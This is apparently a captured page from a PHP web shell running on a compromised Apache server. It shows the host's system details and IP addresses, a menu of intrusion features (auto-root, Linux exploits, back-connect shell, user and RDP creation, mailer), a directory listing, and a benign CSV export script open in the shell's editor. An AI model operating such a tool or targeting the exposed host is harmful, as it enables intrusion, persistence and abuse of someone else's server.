Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.140.185.250
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
Regulations /
[ HOME SHELL ]
Name
Size
Permission
Action
PDF
[ DIR ]
drwxrwxr-x
images
[ DIR ]
drwxrwxr-x
.Regulations.php
3.61
KB
-rw-r--r--
export.php
1.6
KB
-rw-rw-r--
gul.php
2.93
KB
-rw-rw-r--
gulbargabed.php
2.51
KB
-rw-rw-r--
gulbargabped.php
2.5
KB
-rw-rw-r--
gulbargaempdetails.php
2.47
KB
-rw-rw-r--
gulbargapg.php
2.98
KB
-rw-rw-r--
gulbargaug.php
2.61
KB
-rw-rw-r--
gulbargauniv.html
2.2
KB
-rw-rw-r--
index.html
5.12
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : export.php
<?php //$filename = 'subjects.csv'; include "simplehtmldom/simple_html_dom.php"; error_reporting(E_ALL); ini_set('display_errors', 'On'); $table = $_POST['Export']; $html = str_get_html(trim($table)); //$columnHeader = ''; //$columnHeader = "Degree Code" . "\t" . "Degree Name" . "\t"; // header("Content-Description: File Transfer"); // header("Content-Disposition: attachment; filename=".$filename); // header("Content-Type: application/csv; "); // //$setData = ''; // // file creation // $file = fopen($filename,"w"); // foreach ($export_data as $line){ // var_dump('aaaaa'); // var_dump($line); // fputcsv($file,$line); // } // die(); // fclose($file); // // download // //echo ucwords($columnHeader)."\n". "\n"; // readfile($filename); // // deleting file // unlink($filename); // exit(); $fileName="subjects.csv"; header('Content-type: application/ms-excel'); header("Content-Disposition: attachment; filename=$fileName"); $fp = fopen("php://output", "w"); $csvString=""; foreach($html->find('tr') as $element) { $td = array(); foreach( $element->find('th') as $row) { $row->plaintext="\"$row->plaintext\""; $td [] = $row->plaintext; } $td=array_filter($td); $csvString.=implode(",", $td); //fputcsv($fp, $td); $td = array(); foreach( $element->find('td') as $row) { $row->plaintext="\"$row->plaintext\""; $td [] = $row->plaintext; } $td=array_filter($td); $csvString.=implode(",", $td)."\n"; } echo $csvString; fclose($fp); exit; ?>
Close